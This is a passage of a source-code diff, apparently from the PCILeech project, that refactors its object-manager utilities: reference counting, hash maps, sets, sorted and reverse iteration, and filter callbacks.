pOb->_pfnRef_0 = pfnRef_0; pOb->_pfnRef_1 = pfnRef_1; + pOb->H = H; pOb->cbData = (DWORD)uBytes - sizeof(OB); #ifdef OB_DEBUG DWORD i, cb = sizeof(OB) + pOb->cbData; @@ -65,7 +68,7 @@ PVOID Ob_XINCREF(_In_opt_ PVOID pObIn) { POB pOb = (POB)pObIn; if(pOb) { - if(pOb->_magic == OB_HEADER_MAGIC) { + if((pOb->_magic2 == OB_HEADER_MAGIC) && (pOb->_magic1 == OB_HEADER_MAGIC)) { InterlockedIncrement(&pOb->_count); return (POB)pOb; } else { @@ -86,7 +89,7 @@ PVOID Ob_XDECREF(_In_opt_ PVOID pObIn) POB pOb = (POB)pObIn; DWORD c; if(pOb) { - if(pOb->_magic == OB_HEADER_MAGIC) { + if((pOb->_magic2 == OB_HEADER_MAGIC) && (pOb->_magic1 == OB_HEADER_MAGIC)) { c = InterlockedDecrement(&pOb->_count); #ifdef OB_DEBUG DWORD i, cb = sizeof(OB) + pOb->cbData; @@ -99,7 +102,11 @@ PVOID Ob_XDECREF(_In_opt_ PVOID pObIn) #endif /* OB_DEBUG */ if(c == 0) { if(pOb->_pfnRef_0) { pOb->_pfnRef_0(pOb); } - pOb->_magic = 0; + pOb->_magic1 = 0; + pOb->_magic2 = 0; +#ifdef OB_DEBUG_MEMZERO + ZeroMemory(pOb, sizeof(OB) + pOb->cbData); +#endif /* OB_DEBUG_MEMZERO */ LocalFree(pOb); } else if((c == 1) && pOb->_pfnRef_1) { pOb->_pfnRef_1(pOb); @@ -115,16 +122,18 @@ PVOID Ob_XDECREF(_In_opt_ PVOID pObIn) } /* -* Decrease the reference count of a object manager object. If the reference -* count reaches zero the object will be cleaned up. +* Decrease the reference count of a object manager object. +* If the reference count reaches zero the object will be cleaned up. * Also set the incoming pointer to NULL. * -- ppOb */ VOID Ob_XDECREF_NULL(_In_opt_ PVOID *ppOb) { + POB pOb; if(ppOb) { - Ob_DECREF(*ppOb); + pOb = (POB)*ppOb; *ppOb = NULL; + Ob_DECREF(pOb); } } @@ -137,7 +146,7 @@ VOID Ob_XDECREF_NULL(_In_opt_ PVOID *ppOb) BOOL Ob_VALID_TAG(_In_ PVOID pObIn, _In_ DWORD tag) { POB pOb = (POB)pObIn; - return pOb && (pOb->_magic == OB_HEADER_MAGIC) && (pOb->_tag = tag); + return pOb && (pOb->_magic2 == OB_HEADER_MAGIC) && (pOb->_magic1 == OB_HEADER_MAGIC) && (pOb->_tag = tag); } /* @@ -145,15 +154,16 @@ BOOL Ob_VALID_TAG(_In_ PVOID pObIn, _In_ DWORD tag) * to the number of bytes in the data buffer supplied to this function. * May also be created with Ob_Alloc with size: sizeof(OB_HDR) + length of data. * CALLER DECREF: return +* -- H * -- pb * -- cb * -- return */ _Success_(return != NULL) -POB_DATA ObData_New(_In_ PBYTE pb, _In_ DWORD cb) +POB_DATA ObData_New(_In_opt_ VMM_HANDLE H, _In_ PBYTE pb, _In_ DWORD cb) { POB_DATA pObData = NULL; - if((pObData = Ob_Alloc(OB_TAG_CORE_DATA, 0, sizeof(OB) + cb, NULL, NULL))) { + if((pObData = Ob_AllocEx(H, OB_TAG_CORE_DATA, 0, sizeof(OB) + cb, NULL, NULL))) { memcpy(pObData->pb, pb, cb); } return pObData; diff --git a/pcileech/ob/ob_map.c b/pcileech/ob/ob_map.c index 6295283..7e47c21 100644 --- a/pcileech/ob/ob_map.c +++ b/pcileech/ob/ob_map.c @@ -12,7 +12,7 @@ // of the set with ObMap_Get/ObMap_GetNext may fail. // The ObMap is an object manager object and must be DECREF'ed when required. // -// (c) Ulf Frisk, 2019-2022 +// (c) Ulf Frisk, 2019-2023 // Author: Ulf Frisk, pcileech@frizk.net // #include "ob.h" @@ -20,7 +20,7 @@ #define OB_MAP_ENTRIES_DIRECTORY 0x100 #define OB_MAP_ENTRIES_TABLE 0x200 #define OB_MAP_ENTRIES_STORE 0x100 -#define OB_MAP_IS_VALID(p) (p && (p->ObHdr._magic == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_MAP)) +#define OB_MAP_IS_VALID(p) (p && (p->ObHdr._magic2 == OB_HEADER_MAGIC) && (p->ObHdr._magic1 == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_MAP)) #define OB_MAP_TABLE_MAX_CAPACITY OB_MAP_ENTRIES_DIRECTORY * OB_MAP_ENTRIES_TABLE * OB_MAP_ENTRIES_STORE #define OB_MAP_HASH_FUNCTION(v) (13 * (v + _rotr16((WORD)v, 9) + _rotr((DWORD)v, 17) + _rotr64(v, 31))) @@ -28,14 +28,6 @@ #define OB_MAP_INDEX_TABLE(i) ((i >> 8) & (OB_MAP_ENTRIES_TABLE - 1)) #define OB_MAP_INDEX_STORE(i) (i & (OB_MAP_ENTRIES_STORE - 1)) -typedef struct tdOB_MAP_ENTRY { - QWORD k; - union { - PVOID v; - QWORD _Filler; - }; -} OB_MAP_ENTRY, *POB_MAP_ENTRY, **PPOB_MAP_ENTRY; - typedef struct tdOB_MAP { OB ObHdr; SRWLOCK LockSRW; @@ -282,6 +274,95 @@ PVOID _ObMap_GetNextByKey(_In_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvOb return _ObMap_GetByEntryIndex(pm, iEntry + 1); } +PVOID _ObMap_GetNextByIndex(_In_ POB_MAP pm, _Inout_ PDWORD pdwIndex, _In_opt_ PVOID pvObject) +{ + if(pvObject) { + *pdwIndex = pm->c - 1; + } else { + *pdwIndex = *pdwIndex - 1; + } + if(pm->fObjectsOb) { Ob_DECREF(pvObject); } + return _ObMap_GetByEntryIndex(pm, *pdwIndex); +} + +/* +* Efficiently find the index of the key in the map. +* If the key cannot be located the index of the next larger key is returned. +* -- pm +* -- qwKey +* -- pdwIndex +* -- return +*/ +_Success_(return) +BOOL _ObMap_QFind(_In_ POB_MAP pm, _In_ QWORD qwKey, _Out_ PDWORD pdwIndex) +{ + POB_MAP_ENTRY pe; + DWORD i, dwStep, cMap; + if(pm->c <= 1) { return FALSE; } + cMap = pm->c - 1; + for(i = 1; ((cMap - 1) >> i); i++); + i = min(1UL << (i - 1), (cMap - 1) >> 1); + if(i == 0) { i = 1; } + dwStep = i >> 1; + while(dwStep > 1) { + pe = &pm->Directory[OB_MAP_INDEX_DIRECTORY(i)][OB_MAP_INDEX_TABLE(i)][OB_MAP_INDEX_STORE(i)]; + if(pe->k < qwKey) { + if(i + dwStep <= cMap) { + i += dwStep; + } + } else if(pe->k > qwKey) { + i -= dwStep; + } else { + *pdwIndex = i; + return TRUE; + } + dwStep = dwStep >> 1; + } + pe = &pm->Directory[OB_MAP_INDEX_DIRECTORY(i)][OB_MAP_INDEX_TABLE(i)][OB_MAP_INDEX_STORE(i)]; + while(TRUE) { + if(pe->k < qwKey) { + if(i == cMap) { return FALSE; } + i++; + pe = &pm->Directory[OB_MAP_INDEX_DIRECTORY(i)][OB_MAP_INDEX_TABLE(i)][OB_MAP_INDEX_STORE(i)]; + if(pe->k >= qwKey) { + *pdwIndex = i; + return TRUE; + } + } else if(pe->k > qwKey) { + if(i == 1) { + *pdwIndex = 1; + return TRUE; + } + i--; + pe = &pm->Directory[OB_MAP_INDEX_DIRECTORY(i)][OB_MAP_INDEX_TABLE(i)][OB_MAP_INDEX_STORE(i)]; + if(pe->k < qwKey) { + *pdwIndex = i + 1; + return TRUE; + } + } else { + *pdwIndex = i; + return TRUE; + } + } + return FALSE; +} + +PVOID _ObMap_GetNextByKeySorted(_In_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvObject) +{ + DWORD iEntry; + if(pm->fObjectsOb) { Ob_DECREF(pvObject); } + if(qwKey == 0) { + iEntry = 1; + } else if(_ObMap_GetEntryIndexFromKeyOrValue(pm, FALSE, qwKey, &iEntry)) { + iEntry++; + } else if(_ObMap_QFind(pm, qwKey, &iEntry)) { + ; + } else { + return NULL; + } + return _ObMap_GetByEntryIndex(pm, iEntry); +} + _Success_(return != 0) QWORD _ObMap_GetKey(_In_ POB_MAP pm, _In_ PVOID pvObject) { @@ -291,28 +372,27 @@ QWORD _ObMap_GetKey(_In_ POB_MAP pm, _In_ PVOID pvObject) } _Success_(return) -BOOL _ObMap_Filter(_In_ POB_MAP pm, _Inout_opt_ PVOID ctx, _In_ VOID(*pfnFilter)(_In_ QWORD k, _In_ PVOID v, _Inout_opt_ PVOID ctx)) +BOOL _ObMap_Filter(_In_ POB_MAP pm, _In_opt_ PVOID ctx, _In_ OB_MAP_FILTER_PFN_CB pfnFilterCB) { DWORD iEntry; POB_MAP_ENTRY pEntry; for(iEntry = 1; iEntry < pm->c; iEntry++) { pEntry = &pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)]; - pfnFilter(pEntry->k, pEntry->v, ctx); + pfnFilterCB(ctx, pEntry->k, pEntry->v); } return TRUE; } _Success_(return != NULL) -POB_SET _ObMap_FilterSet(_In_ POB_MAP pm, _In_opt_ VOID(*pfnFilter)(_In_ QWORD k, _In_ PVOID v, _Inout_ POB_SET ps)) +POB_SET _ObMap_FilterSet(_In_ POB_MAP pm, _In_opt_ PVOID ctx, _In_ OB_MAP_FILTERSET_PFN_CB pfnFilterSetCB) { DWORD iEntry; POB_MAP_ENTRY pEntry; POB_SET pObSet; - if(!(pObSet = ObSet_New())) { return NULL; } - if(!pfnFilter) { return pObSet; } + if(!(pObSet = ObSet_New(pm->ObHdr.H))) { return NULL; } for(iEntry = 1; iEntry < pm->c; iEntry++) { pEntry = &pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)]; - pfnFilter(pEntry->k, pEntry->v, pObSet); + pfnFilterSetCB(ctx, pObSet, pEntry->k, pEntry->v); } return pObSet; } @@ -381,6 +461,45 @@ PVOID ObMap_GetNextByKey(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID p OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, PVOID, NULL, _ObMap_GetNextByKey(pm, qwKey, pvObject)) } +/* +* Retrieve the next object given a key in a map sorted by key. If the key isn't +* found the next object with a larger key will be returned. To start iterating +* supply zero (0) in the qwKey parameter. When no more objects are found NULL +* will be returned. +* NB! Correctness is only guarateed if the map is sorted by key ascending. +* FUNCTION DECREF(if OB): pvObject +* CALLER DECREF(if OB): return +* -- pm +* -- qwKey +* -- pvObject +* -- return +*/ +PVOID ObMap_GetNextByKeySorted(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvObject) +{ + OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, PVOID, NULL, _ObMap_GetNextByKeySorted(pm, qwKey, pvObject)) +} + +/* +* Iterate over objects in reversed index order. To start iterating supply NULL +* in the pvObject parameter (this overrides pdwIndex). When no more objects +* are found NULL will be returned. +* Add/Remove rules: +* - Added objects are ok - but will not be iterated over. +* - Removal of current object and already iterated objects are ok. +* - Removal of objects not yet iterated is FORBIDDEN. It causes the iterator +* fail by returning the same object multiple times or skipping objects. +* FUNCTION DECREF(if OB): pvObject +* CALLER DECREF(if OB): return +* -- pm +* -- pdwIndex +* -- pvObject +* -- return +*/ +PVOID ObMap_GetNextByIndex(_In_opt_ POB_MAP pm, _Inout_ PDWORD pdwIndex, _In_opt_ PVOID pvObject) +{ + OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, PVOID, NULL, _ObMap_GetNextByIndex(pm, pdwIndex, pvObject)) +} + /* * Retrieve the key for an existing object in the ObMap. * -- pm @@ -418,33 +537,35 @@ QWORD ObMap_PeekKey(_In_opt_ POB_MAP pm) * Filter map objects into a generic context by using a user-supplied filter function. * -- pm * -- ctx = optional context to pass on to the filter function. -* -- pfnFilter +* -- pfnFilterCB * -- return */ _Success_(return) -BOOL ObMap_Filter(_In_opt_ POB_MAP pm, _Inout_opt_ PVOID ctx, _In_opt_ VOID(*pfnFilter)(_In_ QWORD k, _In_ PVOID v, _Inout_opt_ PVOID ctx)) +BOOL ObMap_Filter(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTER_PFN_CB pfnFilterCB) { - if(!pfnFilter) { return FALSE; } - OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, BOOL, FALSE, _ObMap_Filter(pm, ctx, pfnFilter)); + if(!pfnFilterCB) { return FALSE; } + OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, BOOL, FALSE, _ObMap_Filter(pm, ctx, pfnFilterCB)); } /* * Filter map objects into a POB_SET by using a user-supplied filter function. * CALLER DECREF: return * -- pm -* -- pfnFilter +* -- ctx = optional context to pass on to the filter function. +* -- pfnFilterSetCB * -- return = POB_SET consisting of values gathered by the pfnFilter function. */ _Success_(return != NULL) -POB_SET ObMap_FilterSet(_In_opt_ POB_MAP pm, _In_opt_ VOID(*pfnFilter)(_In_ QWORD k, _In_ PVOID v, _Inout_ POB_SET ps)) +POB_SET ObMap_FilterSet(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTERSET_PFN_CB pfnFilterSetCB) { - OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, POB_SET, NULL, _ObMap_FilterSet(pm, pfnFilter)); + if(!pfnFilterSetCB) { return NULL; } + OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, POB_SET, NULL, _ObMap_FilterSet(pm, ctx, pfnFilterSetCB)); } /* * Common filter function related to ObMap_FilterSet. */ -VOID ObMap_FilterSet_FilterAllKey(_In_ QWORD k, _In_ PVOID v, _Inout_ POB_SET ps) +VOID ObMap_FilterSet_FilterAllKey(_In_opt_ PVOID ctx, _In_ POB_SET ps, _In_ QWORD k, _In_ PVOID v) { ObSet_Push(ps, k); } @@ -492,16 +613,15 @@ PVOID _ObMap_RemoveOrRemoveByKey(_In_ POB_MAP pm, _In_ BOOL fValueHash, _In_ QWO return _ObMap_RetrieveAndRemoveByEntryIndex(pm, iEntry, NULL); } -DWORD _ObMap_RemoveByFilter(_In_ POB_MAP pm, _In_opt_ BOOL(*pfnFilter)(_In_ QWORD k, _In_ PVOID v)) +DWORD _ObMap_RemoveByFilter(_In_ POB_MAP pm, _In_opt_ PVOID ctx, _In_ OB_MAP_FILTER_REMOVE_PFN_CB pfnFilterRemoveCB) { DWORD cRemove = 0; DWORD iEntry; PVOID pv; POB_MAP_ENTRY pEntry; - if(!pfnFilter) { return 0; } for(iEntry = pm->c - 1; iEntry; iEntry--) { pEntry = &pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)]; - if(pfnFilter(pEntry->k, pEntry->v)) { + if(pfnFilterRemoveCB(ctx, pEntry->k, pEntry->v)) { cRemove++; pv = _ObMap_RetrieveAndRemoveByEntryIndex(pm, iEntry, NULL); if(pm->fObjectsOb) { Ob_DECREF(pv); } @@ -531,7 +651,7 @@ PVOID ObMap_Pop(_In_opt_ POB_MAP pm) * -- return = success: object, fail: NULL. */ _Success_(return != NULL) -PVOID ObMap_PopWithKey(_In_opt_ POB_MAP pm, _Out_ PQWORD pKey) +PVOID ObMap_PopWithKey(_In_opt_ POB_MAP pm, _Out_opt_ PQWORD pKey) { OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, PVOID, NULL, _ObMap_RetrieveAndRemoveByEntryIndex(pm, pm->c - 1, pKey)) } @@ -564,12 +684,14 @@ PVOID ObMap_RemoveByKey(_In_opt_ POB_MAP pm, _In_ QWORD qwKey) /* * Remove map objects using a user-supplied filter function. * -- pm -* -- pfnFilter = decision making function, TRUE = keep, FALSE = remove. +* -- ctx = optional context to pass on to the filter function. +* -- pfnFilterRemoveCB = decision making function: [pfnFilter(ctx,k,v)->TRUE(remove)|FALSE(keep)] * -- return = number of entries removed. */ -DWORD ObMap_RemoveByFilter(_In_opt_ POB_MAP pm, _In_opt_ BOOL(*pfnFilter)(_In_ QWORD k, _In_ PVOID v)) +DWORD ObMap_RemoveByFilter(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTER_REMOVE_PFN_CB pfnFilterRemoveCB) { - OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, DWORD, 0, _ObMap_RemoveByFilter(pm, pfnFilter)); + if(!pfnFilterRemoveCB) { return 0; } + OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, DWORD, 0, _ObMap_RemoveByFilter(pm, ctx, pfnFilterRemoveCB)); } /* @@ -597,9 +719,78 @@ BOOL ObMap_Clear(_In_opt_ POB_MAP pm) +//----------------------------------------------------------------------------- +// SORT FUNCTIONALITY BELOW: +// ObMap_SortEntryIndex +//----------------------------------------------------------------------------- + +_Success_(return) +BOOL _ObMap_SortEntryIndex(_In_ POB_MAP pm, _In_ OB_MAP_SORT_COMPARE_FUNCTION pfnSort) +{ + DWORD iEntry; + POB_MAP_ENTRY pSort; + if(!(pSort = LocalAlloc(0, pm->c * sizeof(OB_MAP_ENTRY)))) { return FALSE; } + // sort map + for(iEntry = 1; iEntry < pm->c; iEntry++) { + memcpy(pSort + iEntry, &pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)], sizeof(OB_MAP_ENTRY)); + } + qsort(pSort + 1, pm->c - 1, sizeof(OB_MAP_ENTRY), (_CoreCrtNonSecureSearchSortCompareFunction)pfnSort); + for(iEntry = 1; iEntry < pm->c; iEntry++) { + memcpy(&pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)], pSort + iEntry, sizeof(OB_MAP_ENTRY)); + } + LocalFree(pSort); + // update hash maps + if(pm->fKey) { + ZeroMemory(pm->pHashMapKey, pm->cHashMax * sizeof(DWORD)); + for(iEntry = 1; iEntry < pm->c; iEntry++) { + _ObMap_InsertHash(pm, FALSE, iEntry); + } + } + ZeroMemory(pm->pHashMapValue, pm->cHashMax * sizeof(DWORD)); + for(iEntry = 1; iEntry < pm->c; iEntry++) { + _ObMap_InsertHash(pm, TRUE, iEntry); + + } + return TRUE; +} + +int _ObMap_SortEntryIndexByKey_CmpSort(_In_ POB_MAP_ENTRY e1, _In_ POB_MAP_ENTRY e2) +{ + return + (e1->k < e2->k) ? -1 : + (e1->k > e2->k) ? 1 : 0; +} + +/* +* Sort the ObMap entry index by a sort compare function. +* NB! The items sorted by the sort function are const OB_MAP_ENTRY* objects +* which points to the underlying map object key/value. +* -- pm +* -- pfnSort = sort function callback. const void* == const OB_MAP_ENTRY* +* -- return +*/ +_Success_(return) +BOOL ObMap_SortEntryIndex(_In_opt_ POB_MAP pm, _In_ OB_MAP_SORT_COMPARE_FUNCTION pfnSort) +{ + OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, BOOL, FALSE, _ObMap_SortEntryIndex(pm, pfnSort)) +} + +/* +* Sort the ObMap entry index by key ascending. +* NB! The items sorted by the sort function are const OB_MAP_ENTRY* objects +* which points to the underlying map object key/value. +* -- pm +* -- return +*/ +_Success_(return) +BOOL ObMap_SortEntryIndexByKey(_In_opt_ POB_MAP pm) +{ + return ObMap_SortEntryIndex(pm, _ObMap_SortEntryIndexByKey_CmpSort); +} + //----------------------------------------------------------------------------- // CREATE / INSERT FUNCTIONALITY BELOW: -// ObMap_New, ObMap_Push +// ObMap_New, ObMap_Push, ObMap_PushCopy, ObMap_New //----------------------------------------------------------------------------- /* @@ -641,7 +832,7 @@ BOOL _ObMap_Push(_In_ POB_MAP pm, _In_ QWORD qwKey, _In_ PVOID pvObject) POB_MAP_ENTRY pe; DWORD iEntry = pm->c; if(!pvObject || _ObMap_Exists(pm, TRUE, (QWORD)pvObject) || _ObMap_Exists(pm, FALSE, qwKey)) { return FALSE; } - if(iEntry == OB_MAP_ENTRIES_DIRECTORY * OB_MAP_ENTRIES_TABLE * OB_MAP_ENTRIES_STORE) { return FALSE; } + if(iEntry == OB_MAP_TABLE_MAX_CAPACITY) { return FALSE; } if(iEntry == pm->cHashGrowThreshold) { if(!_ObMap_Grow(pm)) { return FALSE; @@ -712,14 +903,15 @@ BOOL ObMap_PushCopy(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_ PVOID pvObject, * to optionally map key values to values, pointers or object manager objects. * The ObMap is an object manager object and must be DECREF'ed when required. * CALLER DECREF: return +* -- H * -- flags = defined by OB_MAP_FLAGS_* * -- return */ -POB_MAP ObMap_New(_In_ QWORD flags) +POB_MAP ObMap_New(_In_opt_ VMM_HANDLE H, _In_ QWORD flags) { POB_MAP pObMap; if((flags & OB_MAP_FLAGS_OBJECT_OB) && (flags & OB_MAP_FLAGS_OBJECT_LOCALFREE)) { return NULL; } - pObMap = Ob_Alloc(OB_TAG_CORE_MAP, LMEM_ZEROINIT, sizeof(OB_MAP), (OB_CLEANUP_CB)_ObMap_ObCloseCallback, NULL); + pObMap = Ob_AllocEx(H, OB_TAG_CORE_MAP, LMEM_ZEROINIT, sizeof(OB_MAP), (OB_CLEANUP_CB)_ObMap_ObCloseCallback, NULL); if(!pObMap) { return NULL; } InitializeSRWLock(&pObMap->LockSRW); pObMap->c = 1; // item zero is reserved - hence the initialization of count to 1 diff --git a/pcileech/ob/ob_set.c b/pcileech/ob/ob_set.c index f09b35c..e69de6e 100644 --- a/pcileech/ob/ob_set.c +++ b/pcileech/ob/ob_set.c @@ -9,7 +9,7 @@ // iterations of the set with ObSet_Get/ObSet_GetNext may fail. // The ObSet is an object manager object and must be DECREF'ed when required. // -// (c) Ulf Frisk, 2019-2022 +// (c) Ulf Frisk, 2019-2023 // Author: Ulf Frisk, pcileech@frizk.net // #include "ob.h" @@ -18,6 +18,13 @@ #define OB_SET_ENTRIES_DIRECTORY 0x100 #define OB_SET_ENTRIES_TABLE 0x80 #define OB_SET_ENTRIES_STORE 0x200 +#define OB_SET_IS_VALID(p) (p && (p->ObHdr._magic2 == OB_HEADER_MAGIC) && (p->ObHdr._magic1 == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_SET)) +#define OB_SET_TABLE_MAX_CAPACITY OB_SET_ENTRIES_DIRECTORY * OB_SET_ENTRIES_TABLE * OB_SET_ENTRIES_STORE +#define OB_SET_HASH_FUNCTION(v) (13 * (v + _rotr16((WORD)v, 9) + _rotr((DWORD)v, 17) + _rotr64(v, 31))) + +#define OB_SET_INDEX_DIRECTORY(i) ((i >> 16) & (OB_SET_ENTRIES_DIRECTORY - 1)) +#define OB_SET_INDEX_TABLE(i) ((i >> 9) & (OB_SET_ENTRIES_TABLE - 1)) +#define OB_SET_INDEX_STORE(i) (i & (OB_SET_ENTRIES_STORE - 1)) typedef struct tdOB_SET_TABLE_ENTRY { union { @@ -49,10 +56,6 @@ typedef struct tdOB_SET { QWORD pStore00[OB_SET_ENTRIES_STORE]; } OB_SET, *POB_SET; -#define OB_SET_IS_VALID(p) (p && (p->ObHdr._magic == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_SET)) -#define TABLE_MAX_CAPACITY OB_SET_ENTRIES_DIRECTORY * OB_SET_ENTRIES_TABLE * OB_SET_ENTRIES_STORE -#define HASH_FUNCTION(v) (13 * (v + _rotr16((WORD)v, 9) + _rotr((DWORD)v, 17) + _rotr64(v, 31))) - #define OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pvs, RetTp, RetValFail, fn) { \ if(!OB_SET_IS_VALID(pvs)) { return RetValFail; } \ RetTp retVal; \ @@ -106,11 +109,13 @@ VOID _ObSet_ObCloseCallback(_In_ POB_SET pObSet) * ways to store unique 64-bit (or smaller) numbers as a set. * The ObSet is an object manager object and must be DECREF'ed when required. * CALLER DECREF: return +* -- H +* -- hHeap * -- return */ -POB_SET ObSet_New() +POB_SET ObSet_New(_In_opt_ VMM_HANDLE H) { - POB_SET pObSet = Ob_Alloc(OB_TAG_CORE_SET, LMEM_ZEROINIT, sizeof(OB_SET), (OB_CLEANUP_CB)_ObSet_ObCloseCallback, NULL); + POB_SET pObSet = Ob_AllocEx(H, OB_TAG_CORE_SET, LMEM_ZEROINIT, sizeof(OB_SET), (OB_CLEANUP_CB)_ObSet_ObCloseCallback, NULL); if(!pObSet) { return NULL; } InitializeSRWLock(&pObSet->LockSRW); pObSet->c = 1; // item zero is reserved - hence the initialization of count to 1 @@ -122,20 +127,20 @@ POB_SET ObSet_New() QWORD _ObSet_GetValueFromIndex(_In_ POB_SET pvs, _In_ DWORD iValue) { - WORD iDirectory = (iValue >> 14) & (OB_SET_ENTRIES_DIRECTORY - 1); - WORD iTable = (iValue >> 9) & (OB_SET_ENTRIES_TABLE - 1); - WORD iValueStore = iValue & (OB_SET_ENTRIES_STORE - 1); + WORD iDirectory = OB_SET_INDEX_DIRECTORY(iValue); + WORD iTable = OB_SET_INDEX_TABLE(iValue); + WORD iValueStore = OB_SET_INDEX_STORE(iValue); if(!iValue || (iValue >= pvs->c)) { return 0; } return pvs->fLargeMode ? - pvs->pDirectory[iDirectory].pTable[iTable].pValues[iValueStore] : + pvs->pDirectory[OB_SET_INDEX_DIRECTORY(iValue)].pTable[iTable].pValues[iValueStore] : pvs->pTable0[iTable].pValues[iValueStore]; } VOID _ObSet_SetValueFromIndex(_In_ POB_SET pvs, _In_ DWORD iValue, _In_ QWORD qwValue) { - WORD iDirectory = (iValue >> 14) & (OB_SET_ENTRIES_DIRECTORY - 1); - WORD iTable = (iValue >> 9) & (OB_SET_ENTRIES_TABLE - 1); - WORD iValueStore = iValue & (OB_SET_ENTRIES_STORE - 1); + WORD iDirectory = OB_SET_INDEX_DIRECTORY(iValue); + WORD iTable = OB_SET_INDEX_TABLE(iValue); + WORD iValueStore = OB_SET_INDEX_STORE(iValue); if(pvs->fLargeMode) { pvs->pDirectory[iDirectory].pTable[iTable].pValues[iValueStore] = qwValue; } else { @@ -163,7 +168,7 @@ VOID _ObSet_InsertHash(_In_ POB_SET pvs, _In_ DWORD iValue) DWORD dwHashMask = pvs->cHashMax - 1; QWORD qwValueToHash = _ObSet_GetValueFromIndex(pvs, iValue); if(!qwValueToHash) { return; } - iHash = HASH_FUNCTION(qwValueToHash) & dwHashMask; + iHash = OB_SET_HASH_FUNCTION(qwValueToHash) & dwHashMask; while(_ObSet_GetIndexFromHash(pvs, iHash)) { iHash = (iHash + 1) & dwHashMask; } @@ -182,7 +187,7 @@ VOID _ObSet_RemoveHash(_In_ POB_SET pvs, _In_ DWORD iHash) iNextHash = (iNextHash + 1) & dwHashMask; iNextEntry = _ObSet_GetIndexFromHash(pvs, iNextHash); if(0 == iNextEntry) { return; } - iNextHashPreferred = HASH_FUNCTION(_ObSet_GetValueFromIndex(pvs, iNextEntry)) & dwHashMask; + iNextHashPreferred = OB_SET_HASH_FUNCTION(_ObSet_GetValueFromIndex(pvs, iNextEntry)) & dwHashMask; if(iNextHash == iNextHashPreferred) { continue; } if(pvs->fLargeMode) { pvs->pHashMapLarge[iNextHash] = 0; @@ -198,7 +203,7 @@ BOOL _ObSet_GetIndexFromValue(_In_ POB_SET pvs, _In_ QWORD v, _Out_opt_ PDWORD p { DWORD dwIndex; DWORD dwHashMask = pvs->cHashMax - 1; - DWORD dwHash = HASH_FUNCTION(v) & dwHashMask; + DWORD dwHash = OB_SET_HASH_FUNCTION(v) & dwHashMask; // scan hash table to find entry while(TRUE) { dwIndex = _ObSet_GetIndexFromHash(pvs, dwHash); @@ -253,6 +258,16 @@ QWORD _ObSet_GetNext(_In_ POB_SET pvs, _In_ QWORD value) return _ObSet_GetValueFromIndex(pvs, iValue + 1); } +QWORD _ObSet_GetNextByIndex(_In_ POB_SET pvs, _Inout_ PDWORD pdwIndex) +{ + if(*pdwIndex == 0) { + *pdwIndex = pvs->c - 1; + } else { + *pdwIndex = *pdwIndex - 1; + } + return _ObSet_GetValueFromIndex(pvs, *pdwIndex); +} + /* * Retrieve the next value given a value. The start value and end value are the * ZERO value (which is a special reserved non-valid value). @@ -268,11 +283,28 @@ QWORD ObSet_GetNext(_In_opt_ POB_SET pvs, _In_ QWORD value) OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pvs, QWORD, 0, _ObSet_GetNext(pvs, value)) } +/* +* Retrieve the given an index. To start iterating, use index 0. When no more +* items are available, the function will return 0. +* Add/Remove rules: +* - Added values are ok - but will not be iterated over. +* - Removal of current value and already iterated values are ok. +* - Removal of values not yet iterated is FORBIDDEN. It causes the iterator +* fail by returning the same value multiple times or skipping values. +* -- pvs +* -- pdwIndex +* -- return +*/ +QWORD ObSet_GetNextByIndex(_In_opt_ POB_SET pvs, _Inout_ PDWORD pdwIndex) +{ + OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pvs, QWORD, 0, _ObSet_GetNextByIndex(pvs, pdwIndex)) +} + POB_DATA _ObSet_GetAll(_In_ POB_SET pvs) { DWORD iValue; POB_DATA pObData; - if(!(pObData = Ob_Alloc(OB_TAG_CORE_DATA, 0, sizeof(OB) + (pvs->c - 1) * sizeof(QWORD), NULL, NULL))) { return NULL; } + if(!(pObData = Ob_AllocEx(pvs->ObHdr.H, OB_TAG_CORE_DATA, 0, sizeof(OB) + (pvs->c - 1) * sizeof(QWORD), NULL, NULL))) { return NULL; } for(iValue = pvs->c - 1; iValue; iValue--) { pObData->pqw[iValue - 